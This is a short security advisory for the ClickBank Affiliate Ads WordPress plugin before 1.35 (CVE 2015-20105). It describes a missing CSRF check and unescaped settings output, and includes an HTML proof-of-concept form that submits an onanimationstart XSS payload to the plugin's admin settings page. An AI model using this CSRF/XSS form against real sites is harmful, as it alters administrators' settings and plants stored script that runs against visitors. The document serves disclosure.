ClickBank Affiliate Ads < 1.35 – CSRF to Stored Cross-Site Scripting | CVE 2015-20105

Description

The plugin does not have CSRF check when saving its settings, allowing attacker to make logged in admin change them via a CSRF attack. Furthermore, due to the lack of escaping when they are outputting, it could also lead to Stored Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="http://example.com/wp-admin/options-general.php?page=clickbank-ads-clickbank-widget/clickbank-ads.php" method="POST">
      <input type="hidden" name="cbwec[title]" value='Related eBooks" style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="hidden" name="cbwec[name]" value="aaaaa" />
      <input type="hidden" name="cbwec[keywordbytitle2]" value="Title" />
      <input type="hidden" name="cbwec[keywords]" value="" />
      <input type="hidden" name="cbwec[adformat]" value="1" />
      <input type="hidden" name="cbwec[width2]" value="100%" />
      <input type="hidden" name="cbwec[width]" value="100%" />
      <input type="hidden" name="cbwec[height]2" value="220" />
      <input type="hidden" name="cbwec[height]" value="220" />
      <input type="hidden" name="cbwec[pos]" value="Top" />
      <input type="hidden" name="cbwec[bordstyle]" value="1" />
      <input type="hidden" name="cbwec[bordcolor]" value="CCCCCC" />
      <input type="hidden" name="cbwec[linkcolor]" value="0000FF" />
      <input type="hidden" name="cbwec[runplugin]" value="1" />
      <input type="hidden" name="cbwec[homepage]" value="1" />
      <input type="hidden" name="cbwec[onlypost]" value="1" />
      <input type="hidden" name="cbwec_submit" value="Save Â»" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>